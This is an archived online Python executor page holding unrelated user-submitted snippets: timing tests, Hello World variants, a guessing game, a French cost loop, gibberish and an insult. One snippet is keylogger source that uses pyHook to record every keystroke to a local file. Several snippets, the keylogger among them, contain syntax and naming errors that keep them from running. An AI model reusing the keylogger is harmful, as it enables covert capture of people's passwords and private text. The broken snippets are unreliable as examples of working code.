Please note, this is a STATIC archive of website www.tutorialspoint.com from 11 May 2019, cach3.com does not collect or store any user information, there is no "phishing" involved.
Tutorialspoint

Midpoint

A(5,4)
B(-2,7)
print A(5,4)-B(-2,7)

    

Execute Python Online

import requests
import time
startTime = int(round(time.time() * 1000))     
r = requests.get('https://www.1001cns.com/Response.aspx?updateid=0&DID=8822882202')
endTime = int(round(time.time() * 1000))   
print("Real requests respons time is :",r.elapsed.total_seconds()*1000 , "ms")
print("requests respons time is :",endTime - startTime,'ms')

request respons speed test

import requests
import time
startTime = int(round(time.time() * 1000))     
r = requests.get('https://www.1001cns.com/Response.aspx?updateid=0&DID=8822882202')
endTime = int(round(time.time() * 1000))   
print("Real requests respons time is :",r.elapsed.total_seconds()*1000 , "ms")
print("requests respons time is :",endTime - startTime,'ms')

sdsadadasdasdasdasdasdada

# Hello World program in Python
    
print "Hello World!\n"

veenabcfgbhtfghjnyjmuuuuuuyjy

s = raw_input('Enter the string')
l=len(s)
for i in (0,l)
d={"UPPER CASE":0, "LOWER CASE":0}
for c in s:
if(c.isupper()):
    d["UPPER CASE"]+=1
elif c.islower():
    d["LOWER CASE"]+=1
else:
pass
print "UPPER CASE", d["UPPER CASE"]
print "LOWER CASE", d["LOWER CASE"]


    

Your mother is vert ausasb bad

# Hello World program in Python
print (Hello World!)

Execute Python Online

from random import randint 
myNumber = randint(1, 100) 
guessNum = 0
numberGuessed = False
guess = 0

print ("I'm thinking of a number between 1 and 100...")
print ("Make a guess and I'll tell you whether the number is higher or lower")

while numberGuessed == False:
    guess = int(input("Enter your guess"))
    guessNum += 1
    if myNumber > guess:
        print ("Higher")
    elif myNumber < guess:
        print ("lower") 
    elif myNumber == guess:
        print ("Well done you've guessed the number in " + str(guessNum) + " guesses") 
        numberGuessed = True

Execute Python Online

import pyHook, pythoncom, sys, logging

file_log = 'C:\\important\\log.txt'

def OnKeyboardEvent (event) :
    logging.basicConfig (filename=file_log, level=logging.DEBUG, format='% (message) s')
    chr (event,Ascii)
    logging.log (10,chr (event.Ascii))
    return true
    
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyBoardEvent
hooks_manager.HooksKeyboard()
pythoncom.Pumpmessages()
    
    

Execute Python Online

# Define a procedure, print_numbers, that takes
# as input a positive whole number, and prints 
# out all the whole numbers from 1 to the input
# number.

# Make sure your procedure prints "upwards", so
# from 1 up to the input number.

                  
   



#print_numbers(3)
#>>> 1
#>>> 2
#>>> 3

algorithme python 10 de mathematique

def abonnement1(x,k):
    A=4.99+0.18*x
    B=6.99+0.083*x
    x=0
    k=1

    while B>A:
        x=x+k
        A=4.00+0.18*x
        B=6.88+0.083*x
        
    if A==B:
        print('les abonnements')
        print('ont le meme cout')
        print('pour',x, 'minutes')
        print('supplementaire de communication')
    else: 
        return(x-k)
        

Advertisements
Loading...

We use cookies to provide and improve our services. By using our site, you consent to our Cookies Policy.